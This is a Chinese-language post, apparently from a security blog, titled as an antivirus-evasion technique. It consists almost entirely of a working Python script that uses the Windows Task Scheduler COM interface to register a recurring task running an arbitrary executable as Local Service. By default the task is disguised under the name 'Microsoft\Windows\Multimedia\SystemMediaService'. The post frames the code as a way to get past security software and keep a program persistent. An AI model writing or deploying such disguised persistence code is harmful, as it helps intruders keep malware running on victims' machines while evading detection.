免杀 ｜ 使用技巧绕过杀软添加计划任务。

import win32com.clientimport argparsefrom datetime import datetime, timedeltaimport getpass

def regtask(patha, name, time):    try:        TriggerTypeDaily = 2        TriggerTypeHourly = 4        TriggerTypeMinutely = 6        ActionTypeExecutable = 0

        # 创建 TaskService 对象        taskserver = win32com.client.Dispatch("Schedule.Service")        taskserver.Connect()

        # 获取任务文件夹        folder = taskserver.GetFolder("\")

        # 创建任务定义        taskdefinition = taskserver.NewTask(0)

        # 设置任务的描述和作者        regInfo = taskdefinition.RegistrationInfo        regInfo.Description = "任务将执行"        regInfo.Author = getpass.getuser()

        # 设置任务计划        settings = taskdefinition.Settings        settings.StartWhenAvailable = True

        # 根据 --time 参数设置触发器类型        if time:            if time.startswith("hour/"):                interval = int(time.split("/")[1])                trigger_type = TriggerTypeHourly            elif time.startswith("minute/"):                interval = int(time.split("/")[1])                trigger_type = TriggerTypeMinutely            else:                trigger_type = TriggerTypeDaily                interval = 1        else:            trigger_type = TriggerTypeDaily            interval = 1

        # 创建触发器        triggers = taskdefinition.Triggers        trigger = triggers.Create(trigger_type)        start_time = datetime.now() + timedelta(minutes=1)        trigger.StartBoundary = start_time.strftime("%Y-%m-%dT%H:%M:%S")        trigger.Id = "CustomTrigger"        trigger.Repetition.Interval = f'PT{interval}M'

        # 创建任务执行操作        action = taskdefinition.Actions.Create(ActionTypeExecutable)        action.Path = patha

        # 设置默认任务名称        if not name:            name = "Microsoft\Windows\Multimedia\SystemMediaService"

        # 注册任务        create_or_update_task = 6

        folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task, "Local Service", None, 5)        print("计划任务创建完成")    except Exception as e:        print(f"出现异常：{str(e)}")        print("请使用 -h 或 --help 检查参数。")def parse_args():    parser = argparse.ArgumentParser(description="创建一个计划任务")    parser.add_argument('--addresses', help="可执行文件（exe）的绝对路径（必选）")#    parser.add_argument('--users', help="任务的用户名（必选）")    parser.add_argument('--name', help="任务名称（可选），默认为Microsoft\Windows\Multimedia\SystemMediaService")    parser.add_argument('--time', help="任务触发时间，默认为执行完本工具后一分钟运行一次。（可选）（例如，hour/1 或 minute/10）字面意思，自启动时间")    args = parser.parse_args()

    return args

if __name__ == '__main__':    args = parse_args()

    # 如果未指定 --users 参数，使用当前用户的用户名    regtask(args.addresses, args.name, args.time)